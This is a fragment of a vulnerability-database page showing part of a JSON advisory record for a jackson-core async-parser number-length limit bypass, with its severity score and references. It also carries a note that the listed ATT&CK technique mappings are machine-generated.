"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
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Sightings
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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